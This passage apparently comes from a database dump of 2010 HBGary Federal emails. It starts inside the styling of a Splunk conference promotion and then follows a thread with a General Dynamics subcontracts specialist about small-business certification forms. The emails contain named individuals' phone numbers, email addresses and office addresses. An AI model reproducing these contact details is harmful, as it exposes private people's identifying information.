10px;\r\n      	border-bottom: 1px solid #eeeeee;\r\n      }\r\n      \r\n       table.header td {\r\n      	height: 10px;\r\n      	border-bottom: 1px solid #d5e0e1;\r\n      	border-top: 10px solid #111;\r\n      }\r\n      \r\n      table.header td p.big {\r\n      font-family:arial;\r\n      font-size:24px;\r\n      font-weight:normal;\r\n      font-style: normal;\r\n      padding:0 115px 0 15px;\r\n      margin-top: 0px;\r\n      }\r\n      \r\n      \r\n      \r\n      table.intro td p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	padding:0 15px 0 15px;\r\n      }\r\n   \r\n      table.header td h1 {\r\n      	font-family: \'Futura\', Arial;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	display: inline;\r\n      	margin: 0 0 0 6px;\r\n      	padding: 0;\r\n      	text-transform: uppercase;\r\n      }\r\n      \r\n      table.header td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      	 table.intro td h2 {\r\n		font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 28px;\r\n      	font-weight: normal;\r\n      	color: #111111;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0 0 0 15px;\r\n      	}\r\n      table.header td h3 {\r\n      	font-family: Arial, Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	font-style: italic;\r\n      	color: #ffffff;\r\n      	display: inline;\r\n      	margin: 0;\r\n      	padding: 0 0 6px 0;\r\n      }\r\n      td.sidebar {\r\n      	background-color: #fff;\r\n      	padding-top:10px;\r\n      }\r\n      td.sidebar h2 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #464646;\r\n      	margin: 0 0 10px 0;\r\n      	border-bottom: 1px solid #CCC;\r\n      	text-transform: uppercase;\r\n      }\r\n      td.sidebar ul {\r\n      	margin: 0 0 20px 24px;\r\n      	padding: 0;\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      }\r\n      td.sidebar ul a {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #085982;\r\n      	text-decoration: none;\r\n      }\r\n      td.sidebar p {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555;\r\n      	margin: 0 0 14px 0;\r\n      	padding: 0;\r\n      }\r\n      td.sidespace {\r\n         padding: 20px;\r\n      }\r\n      table.options {\r\n      	border-top: 1px solid #9f9862;\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options td {\r\n      	padding: 16px 22px 16px 22px;\r\n      }\r\n      td.border {\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options h3 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	margin: 0 0 4px 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p {\r\n      	font-family: Arial;\r\n      	font-size: 13px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p a {\r\n      	color: #313131;\r\n      	text-decoration: none;\r\n      	border: none;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar {\r\n         padding: 20px;\r\n      }\r\n      td.mainbar h2 {\r\n      	font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar h2 a {\r\n      	font-family: Arial;\r\n      	font-size: 20px;\r\n      	font-weight: bold;\r\n      	color: #9f9862;\r\n         text-decoration: none;\r\n      }\r\n      td.mainbar h3 {\r\n      	font-family: Verdana;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #333333;\r\n      	text-transform: uppercase;\r\n      	margin: 0 0 8px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	margin: 0 0 16px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p.top {\r\n      	font-family: Verdana;\r\n      	font-size: 10px;\r\n      	font-weight: normal;\r\n      	color: #44a0df;\r\n      	text-transform: uppercase;\r\n      	width: 100%;\r\n      	text-align: right;\r\n      	margin: 14px 0 4px 0;\r\n      	border-top: 1px solid #CCCCCC;\r\n      }\r\n      table.footer {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	text-align: center;\r\n      }\r\n      table.footer td {\r\n      	height: 88px;\r\n      }\r\n      table.footer span {\r\n      	color: #ffffff;\r\n      }\r\n      table.bgBottom {\r\n         padding: 10px;\r\n      	background-color: #EEE;\r\n      }\r\n    \r\n \r\n\r\n\r\n \r\n \r\n \r\n \r\n   \r\n     \r\n       \r\n         \r\n          \r\n          \r\n        \r\n      \r\n      \r\n \r\n \r\n   \r\n     \r\n      The First Splunk Worldwide Users&rsquo; Conference: \r\n         5 Reasons Why Your Boss Should Send You \r\n      August 9-11, 2010\r\n      		\r\n    \r\n   \r\n \r\n                  \r\n \r\n   \r\n     \r\n       \r\n         \r\n           \r\n             Dear Aaron,    \r\n            You know Splunk is awesome, and you know you&rsquo;ve only begun to explore the ways Splunk can help you solve problems faster, or create the reports and dashboards your management and business teams need to see. \r\n            The First Splunk Users&rsquo; Conference is the best way to advance your Splunk knowledge&ndash;so naturally you should be there. But how do you convince others your time out of the office will be well spent? Well, we\'ve drafted the Top 5 Reasons your organization will benefit from your attendance.\r\n             \r\n              Transform IT: Lower Risk, Optimize Business Performance, Work Smarter \r\n	            Provide Operational Intelligence: Unlock the Gold in Your IT Data \r\n	            Learn From the Best: Meet and learn from leading-edge Splunk customers\r\n	            Save Money: Get the Best Splunk Education in the Shortest Time\r\n	            Be an IT Rockstar: Put Your Splunk Knowledge to Work Immediately \r\n          \r\n           Need more detail or want a handy PDF to forward along?           Or use this sample approval letter to state your case.\r\n           Convinced? Then don&rsquo;t delay, register before June 25 to save $100!\r\nSee you in August!\r\n \r\n           The Splunk Team\r\n		    \r\n          \r\n        \r\n      \r\n    \r\n    \r\n                 \r\n       \r\n          \r\n  		   What?\r\n  		    \r\n             The First Splunk Worldwide Users&rsquo; Conference\r\n           When?\r\n            \r\n             August 9-11, 2010\r\n              \r\n           Where?\r\n            \r\n             The Palace Hotel\r\n2 New Montgomery Street\r\nSan Francisco, CA 94105\r\n              \r\n           Why?\r\n            \r\n             Top 5 Reasons Not Enough? Check out the session lineup.  \r\n           How?\r\n            \r\n             Register Now\r\n                                      \r\n            \r\n          \r\n       \r\n         \r\n         \r\n       \r\n    \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. To forward this email to a friend, click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',193,'aaron_hbgary_com/193.html'),(6773,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004883.M606137P14101Q1628.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: Small Business Type','Small businessSent from my iPadOn May 27, 2010, at 10:23 AM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt; wrote:\r\n\r\n&lt;image002.gif&gt;\r\n\r\n\r\n\r\nI haven’t heard\r\nback from you.  Please advise ASAP!\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr. Specialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction,\r\nMD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly A. \r\nSent: Thursday, May 27, 2010 7:43 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Ted Vera&#39;\r\nSubject: Small Business Type\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron/Ted,\r\n\r\n \r\n\r\nI haven’t\r\nreceived your Reps &amp; Certs back so I need to ask what type of business are\r\nyou: Small Business?\r\n\r\n \r\n\r\n \r\n\r\n*Supplier Category: (Check all\r\nthat apply) (Incorporated by reference: FAR 52.219-1, FAR\r\n52.212-3,\r\nFAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS 225.003) Note: It is a criminal offense to make false\r\nstatements or misrepresent a firm’s status as a small business concern.\r\nPenalties\r\n\r\nare\r\nprescribed under 15 U.S.C. 645(d). Note: Effective 10/3/08, suppliers that qualify as SDB’s can\r\nself-certify their status (see 13 CFR Part 124).\r\n\r\n \r\n\r\nForeign\r\n\r\nGeneral Dynamics Owned\r\n\r\nLarge Business\r\n\r\nSmall Business\r\n\r\nMinority Owned\r\n\r\nWoman Owned\r\n\r\nSmall Disadvantaged Business\r\n\r\nHUB Zone (certified)\r\n\r\nVeteran\r\n\r\nService Disabled Veteran\r\n\r\nHBCU / MI\r\n\r\nAlaskan Native Corporation\r\n\r\nIndian\r\nTribe\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD\r\n20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction,\r\nMD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please\r\nconsider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient and\r\nmay contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2451,'aaron_hbgary_com/2451.html'),(6774,'2010-05-27','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004883.M845885P14101Q1629.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Small Business Type','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat type of small business&#8230;please use the descriptions I\r\nprovided you in my original Email and tell me if any apply to you.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 10:45 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: Re: Small Business Type\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSmall business\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 27, 2010, at 10:23 AM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt; \r\n\r\n\r\n\r\nI haven&#8217;t heard back from you.&nbsp;\r\nPlease advise ASAP!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis\r\ne-mail message is for the sole use of the intended recipient and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly\r\nA. \r\nSent: Thursday, May 27, 2010 7:43 AM\r\nTo: \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: Small Business Type\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron/Ted,\r\n\r\n&nbsp;\r\n\r\nI haven&#8217;t received your Reps &amp; Certs\r\nback so I need to ask what type of business are you: Small Business?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n*Supplier Category: (Check all that apply)\r\n(Incorporated by reference: FAR 52.219-1, FAR 52.212-3,\r\nFAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS\r\n225.003) Note: It is a criminal offense\r\nto make false statements or misrepresent a firm&#8217;s status as a small business\r\nconcern. Penalties\r\n\r\nare prescribed under 15\r\nU.S.C. 645(d). Note: Effective 10/3/08, suppliers that\r\nqualify as SDB&#8217;s can self-certify their status (see 13 CFR Part 124).\r\n\r\n&nbsp;\r\n\r\nForeign\r\n\r\nGeneral\r\nDynamics Owned\r\n\r\nLarge\r\nBusiness\r\n\r\nSmall\r\nBusiness\r\n\r\nMinority\r\nOwned\r\n\r\nWoman\r\nOwned\r\n\r\nSmall\r\nDisadvantaged Business\r\n\r\nHUB\r\nZone (certified)\r\n\r\nVeteran\r\n\r\nService\r\nDisabled Veteran\r\n\r\nHBCU\r\n/ MI\r\n\r\nAlaskan\r\nNative Corporation\r\n\r\nIndian Tribe\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts&nbsp;\r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing Address:\r\n\r\n&nbsp;10925 Pump House Road\r\n\r\n&nbsp;Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n&nbsp;2721 Technology Drive\r\n\r\n&nbsp;Annapolis Junction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis\r\ne-mail message is for the sole use of the intended recipient and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2230,'aaron_hbgary_com/2230.html'),(6775,'2010-05-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004884.M116066P14101Q1630.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Small Business Type','Sent from my iPadBegin forwarded message:From: &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;\r\nDate: May 27, 2010 10:47:27 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Small Business Type\r\n\r\n\r\n\r\n\r\nWhat type of small business…please use the descriptions I\r\nprovided you in my original Email and tell me if any apply to you.\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts \r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n \r\n\r\nMailing\r\nAddress:\r\n\r\n 10925\r\nPump House Road\r\n\r\n Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n 2721\r\nTechnology Drive\r\n\r\n Annapolis\r\nJunction, MD  20701\r\n\r\n \r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, May 27, 2010 10:45 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: Re: Small Business Type\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nSmall business\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 27, 2010, at 10:23 AM, &quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image002.gif&gt; \r\n\r\n\r\n\r\nI haven’t heard back from you. \r\nPlease advise ASAP!\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction, MD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis\r\ne-mail message is for the sole use of the intended recipient and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly\r\nA. \r\nSent: Thursday, May 27, 2010 7:43 AM\r\nTo: &#39;Aaron Barr&#39;; &#39;Ted Vera&#39;\r\nSubject: Small Business Type\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron/Ted,\r\n\r\n \r\n\r\nI haven’t received your Reps &amp; Certs\r\nback so I need to ask what type of business are you: Small Business?\r\n\r\n \r\n\r\n \r\n\r\n*Supplier Category: (Check all that apply)\r\n(Incorporated by reference: FAR 52.219-1, FAR 52.212-3,\r\nFAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS\r\n225.003) Note: It is a criminal offense\r\nto make false statements or misrepresent a firm’s status as a small business\r\nconcern. Penalties\r\n\r\nare prescribed under 15\r\nU.S.C. 645(d). Note: Effective 10/3/08, suppliers that\r\nqualify as SDB’s can self-certify their status (see 13 CFR Part 124).\r\n\r\n \r\n\r\nForeign\r\n\r\nGeneral\r\nDynamics Owned\r\n\r\nLarge\r\nBusiness\r\n\r\nSmall\r\nBusiness\r\n\r\nMinority\r\nOwned\r\n\r\nWoman\r\nOwned\r\n\r\nSmall\r\nDisadvantaged Business\r\n\r\nHUB\r\nZone (certified)\r\n\r\nVeteran\r\n\r\nService\r\nDisabled Veteran\r\n\r\nHBCU\r\n/ MI\r\n\r\nAlaskan\r\nNative Corporation\r\n\r\nIndian Tribe\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nKimberly\r\nHoagland\r\n\r\nSr. Specialist-Subcontracts \r\n\r\nGeneral Dynamics Advanced Information Systems, Inc. \r\n\r\n \r\n\r\nMailing Address:\r\n\r\n 10925 Pump House Road\r\n\r\n Annapolis Junction, MD 20701\r\n\r\nPhysical Address:\r\n\r\n 2721 Technology Drive\r\n\r\n Annapolis Junction, MD  20701\r\n\r\n \r\n\r\n(240) 294-2275 (v)\r\n\r\n(240) 294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please consider the environment before\r\nprinting this email\r\n\r\nThis\r\ne-mail message is for the sole use of the intended recipient and may contain\r\nconfidential and privileged information. Any unauthorized review, use,\r\ndisclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10186,'aaron_hbgary_com/10186.html'),(6776,'2010-05-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004885.M328036P14101Q1631.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: Small Business Type','Hi Kimberly,Aaron sent the Reps and Certs form on Mon, May 24, 2010 at 10:07 PM with the other four attachments.  I&#39;ve attached the reps and certs to this email as well.  We are a woman owned small business.\r\n\r\nPlease let me know if you have any further questions.  You can reach me at 719-237-8623.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Thu, May 27, 2010 at 5:42 AM, Hoagland, Kimberly A. &lt;Kimberly.Hoagland@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron/Ted,\r\n\r\n \r\n\r\nI haven’t received your Reps &amp; Certs back so I need to\r\nask what type of business are you: Small Business?\r\n\r\n \r\n\r\n \r\n\r\n*Supplier Category: (Check all\r\nthat apply) (Incorporated by reference: FAR 52.219-1, FAR\r\n52.212-3,\r\nFAR 52.204-5, DFARS 252.226-7000,\r\n\r\nDFARS 225.003) Note: It is a criminal offense to make false\r\nstatements or misrepresent a firm’s status as a small business concern.\r\nPenalties\r\n\r\nare\r\nprescribed under 15 U.S.C. 645(d). Note: Effective 10/3/08, suppliers that qualify as SDB’s can\r\nself-certify their status (see 13 CFR Part 124).\r\n\r\n \r\n\r\nForeign\r\n\r\nGeneral Dynamics Owned\r\n\r\nLarge Business\r\n\r\nSmall Business\r\n\r\nMinority Owned\r\n\r\nWoman Owned\r\n\r\nSmall Disadvantaged Business\r\n\r\nHUB Zone (certified)\r\n\r\nVeteran\r\n\r\nService Disabled Veteran\r\n\r\nHBCU / MI\r\n\r\nAlaskan Native Corporation\r\n\r\nIndian\r\nTribe\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts \r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n \r\n\r\nMailing\r\nAddress:\r\n\r\n 10925\r\nPump House Road\r\n\r\n Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n 2721\r\nTechnology Drive\r\n\r\n Annapolis\r\nJunction, MD  20701\r\n\r\n \r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n\r\n \r\n\r\nP please consider the environment before printing this email\r\n\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',12624,'aaron_hbgary_com/12624.html'),(6777,'2010-05-27','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004886.M422400P14101Q1633.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Small Business Type','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nRight, these are the Supp Reps &amp; Certs which do not list the\r\ninformation I need.&nbsp; I was speaking to the Reps &amp; Certs which have the\r\nchecklist that I gave to you at the beginning of this Email, those I do not\r\nhave.&nbsp; Thank you for your response.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Thursday, May 27, 2010 11:10 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Aaron Barr\r\nSubject: Re: Small Business Type\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Kimberly,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron sent the Reps and Certs form on&nbsp;Mon,\r\nMay 24, 2010 at 10:07 PM with the other four attachments. &nbsp;I\'ve attached\r\nthe reps and certs to this email as well. &nbsp;We are a woman owned small\r\nbusiness.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nlet me know if you have any further questions. &nbsp;You can reach me at\r\n719-237-8623.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 5:42 AM, Hoagland, Kimberly A. 